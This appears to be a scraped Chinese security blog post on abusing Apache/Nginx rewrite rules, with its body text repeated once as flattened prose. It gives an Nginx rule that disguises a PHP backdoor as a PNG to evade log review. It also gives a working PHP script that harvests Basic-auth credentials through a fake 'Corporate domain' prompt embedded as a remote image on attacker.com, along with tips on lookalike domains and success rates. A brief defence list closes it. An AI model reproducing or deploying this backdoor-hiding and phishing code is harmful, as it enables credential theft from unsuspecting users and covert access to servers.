Hack With Rewrite
字数 1342 2025-08-29 08:32:02

Apache/Nginx Rewrite功能的高级利用技术

0x00 简介

Rewrite功能是Apache和Nginx等Web服务器提供的重要特性,它允许管理员通过规则将输入的URL转换为另一个URL。虽然主要用于URL美化,但这一功能也可被用于一些高级安全场景,包括后门隐藏和钓鱼攻击。

0x01 通过Rewrite功能隐藏后门

基本原理

通过Rewrite规则,攻击者可以将访问特定文件(如图片)的请求重定向到PHP后门文件,从而:

  1. 逃避日志审查(日志中只记录图片访问记录)
  2. 绕过简单的文件上传检测
  3. 增加后门的隐蔽性

Nginx配置示例

在Nginx配置文件中添加以下规则:

location ~ \.png$ {
    rewrite ^/img/test\.png$ /img/test.php last;
}

这段配置的含义:

  • 匹配所有以.png结尾的URL
  • 如果访问路径是/img/test.png,则内部重定向到/img/test.php
  • last标志表示这是最后一条要处理的规则

实现效果

  1. 攻击者在/img/目录下放置test.php后门文件
  2. 外部访问http://domain.com/img/test.png时实际执行test.php
  3. 服务器日志中只记录对test.png的访问

配置注意事项

  1. 需要修改Nginx配置文件(通常需要管理员权限)
  2. 修改后需要重启Nginx服务生效
  3. 可以结合.htaccessuser.ini等文件使用,提高隐蔽性

0x02 基础认证钓鱼攻击

攻击原理

  1. 在可插入远程图片的编辑器中插入恶意图片链接
  2. 图片实际指向一个PHP脚本,该脚本返回401认证头
  3. 用户访问页面时浏览器弹出认证窗口
  4. 用户输入的凭据被攻击者获取

PHP实现代码

<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";

if ($user && $pass) {
    $fp = fopen("count.txt", "a");
    $content = fread($fp);
    $ip = $_SERVER["REMOTE_ADDR"];
    $all = file_get_contents("count.txt");
    fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . "\t" . $pass . "\n");
    $line = substr_count($all, $ip);
    fclose($fp);
}

if($line < 2) {
    header('WWW-Authenticate: Basic realm="Corporate domain"');
} else {
    header('content-type: image/png');
    echo file_get_contents("test.png");
}
?>

代码功能解析

  1. 捕获用户输入的认证信息(PHP_AUTH_USERPHP_AUTH_PW
  2. 将凭据与时间戳、IP地址一起记录到count.txt
  3. 对同一IP的前两次访问返回401认证头,触发认证弹窗
  4. 第三次及以后访问返回正常图片,避免引起怀疑

结合Rewrite的增强攻击

  1. 使用Rewrite使恶意URL看起来像普通图片:
    rewrite ^/auth\.png$ /auth.php last;
    
  2. 攻击流程:
    • 在编辑器中插入http://attacker.com/auth.png
    • 用户访问页面时触发认证弹窗
    • 凭据被记录后,后续访问显示正常图片

浏览器兼容性

  • 有效浏览器:Firefox、IE
  • 无效浏览器:Chrome(不会弹出基础认证窗口)

提高攻击成功率的方法

  1. 注册相似域名增加可信度,例如:
    • targetdomain.co
    • targetdomain.net
    • target-domain.com
    • targetdomain-oauth.com
  2. 先使用正常图片通过编辑器验证,再修改Rewrite规则
  3. 使用企业常用的认证realm名称(如"Corporate domain")

防御措施

  1. 限制服务器配置文件修改权限
  2. 监控异常的Rewrite规则添加
  3. 对用户上传内容进行严格过滤
  4. 禁用不必要的HTTP认证
  5. 使用Web应用防火墙(WAF)检测异常请求
  6. 定期审计服务器配置和日志

总结

Rewrite功能虽然主要为URL重写设计,但在攻击者手中可以变成强大的工具。管理员应当充分了解这些潜在风险,采取适当措施保护Web服务器安全,同时开发人员也应注意防范此类高级攻击手法。

Apache/Nginx Rewrite功能的高级利用技术 0x00 简介 Rewrite功能是Apache和Nginx等Web服务器提供的重要特性,它允许管理员通过规则将输入的URL转换为另一个URL。虽然主要用于URL美化,但这一功能也可被用于一些高级安全场景,包括后门隐藏和钓鱼攻击。 0x01 通过Rewrite功能隐藏后门 基本原理 通过Rewrite规则,攻击者可以将访问特定文件(如图片)的请求重定向到PHP后门文件,从而: 逃避日志审查(日志中只记录图片访问记录) 绕过简单的文件上传检测 增加后门的隐蔽性 Nginx配置示例 在Nginx配置文件中添加以下规则: 这段配置的含义: 匹配所有以 .png 结尾的URL 如果访问路径是 /img/test.png ,则内部重定向到 /img/test.php last 标志表示这是最后一条要处理的规则 实现效果 攻击者在 /img/ 目录下放置 test.php 后门文件 外部访问 http://domain.com/img/test.png 时实际执行 test.php 服务器日志中只记录对 test.png 的访问 配置注意事项 需要修改Nginx配置文件(通常需要管理员权限) 修改后需要重启Nginx服务生效 可以结合 .htaccess 或 user.ini 等文件使用,提高隐蔽性 0x02 基础认证钓鱼攻击 攻击原理 在可插入远程图片的编辑器中插入恶意图片链接 图片实际指向一个PHP脚本,该脚本返回401认证头 用户访问页面时浏览器弹出认证窗口 用户输入的凭据被攻击者获取 PHP实现代码 代码功能解析 捕获用户输入的认证信息( PHP_AUTH_USER 和 PHP_AUTH_PW ) 将凭据与时间戳、IP地址一起记录到 count.txt 对同一IP的前两次访问返回401认证头,触发认证弹窗 第三次及以后访问返回正常图片,避免引起怀疑 结合Rewrite的增强攻击 使用Rewrite使恶意URL看起来像普通图片: 攻击流程: 在编辑器中插入 http://attacker.com/auth.png 用户访问页面时触发认证弹窗 凭据被记录后,后续访问显示正常图片 浏览器兼容性 有效浏览器:Firefox、IE 无效浏览器:Chrome(不会弹出基础认证窗口) 提高攻击成功率的方法 注册相似域名增加可信度,例如: targetdomain.co targetdomain.net target-domain.com targetdomain-oauth.com 先使用正常图片通过编辑器验证,再修改Rewrite规则 使用企业常用的认证realm名称(如"Corporate domain") 防御措施 限制服务器配置文件修改权限 监控异常的Rewrite规则添加 对用户上传内容进行严格过滤 禁用不必要的HTTP认证 使用Web应用防火墙(WAF)检测异常请求 定期审计服务器配置和日志 总结 Rewrite功能虽然主要为URL重写设计,但在攻击者手中可以变成强大的工具。管理员应当充分了解这些潜在风险,采取适当措施保护Web服务器安全,同时开发人员也应注意防范此类高级攻击手法。